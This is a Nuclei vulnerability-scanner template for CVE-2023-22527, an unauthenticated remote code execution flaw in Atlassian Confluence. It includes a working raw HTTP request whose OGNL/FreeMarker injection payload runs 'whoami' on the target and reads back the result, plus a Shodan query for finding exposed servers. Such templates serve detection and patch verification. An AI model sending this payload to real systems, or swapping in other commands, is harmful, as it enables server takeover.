nuclei-templates/http/cves/2023/CVE-2023-22527.yaml

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id: CVE-2023-22527
info:
name: Atlassian Confluence - Remote Code Execution
author: iamnooob,rootxharsh,pdresearch
severity: critical
description: |
A template injection vulnerability on older versions of Confluence Data Center and Server allows an unauthenticated attacker to achieve RCE on an affected instance. Customers using an affected version must take immediate action.
Most recent supported versions of Confluence Data Center and Server are not affected by this vulnerability as it was ultimately mitigated during regular version updates. However, Atlassian recommends that customers take care to install the latest version to protect their instances from non-critical vulnerabilities outlined in Atlassians January Security Bulletin.
reference:
- https://confluence.atlassian.com/pages/viewpage.action?pageId=1333335615
- https://jira.atlassian.com/browse/CONFSERVER-93833
- https://blog.projectdiscovery.io/atlassian-confluence-ssti-remote-code-execution/
classification:
cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2023-22527
epss-score: 0.00044
epss-percentile: 0.08115
cpe: cpe:2.3:a:atlassian:confluence_data_center:*:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: atlassian
product: confluence_data_center
shodan-query: http.component:"Atlassian Confluence"
tags: cve,cve2023,confluence,rce,ssti
http:
- raw:
- |+
POST /template/aui/text-inline.vm HTTP/1.1
Host: {{Hostname}}
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
label=aaa\u0027%2b#request.get(\u0027.KEY_velocity.struts2.context\u0027).internalGet(\u0027ognl\u0027).findValue(#parameters.poc[0],{})%2b\u0027&poc=@org.apache.struts2.ServletActionContext@getResponse().setHeader(\u0027x_vuln_check\u0027,(new+freemarker.template.utility.Execute()).exec({"whoami"}))
matchers:
- type: dsl
dsl:
- x_vuln_check != "" # check for custom header key exists
- contains(to_lower(body), 'empty{name=')
condition: and
extractors:
- type: dsl
dsl:
- x_vuln_check # prints the output of whoami
# digest: 4b0a00483046022100cad74b2de250961c24ea16a5b8ed5cf9c1b4fa29b81cbfca33f3b72f5a4474c5022100c501f652babe15618734328d07936a3c399f964dfc0a67db2a8a61dd9e20a6ef:922c64590222798bb761d5b6d8e72950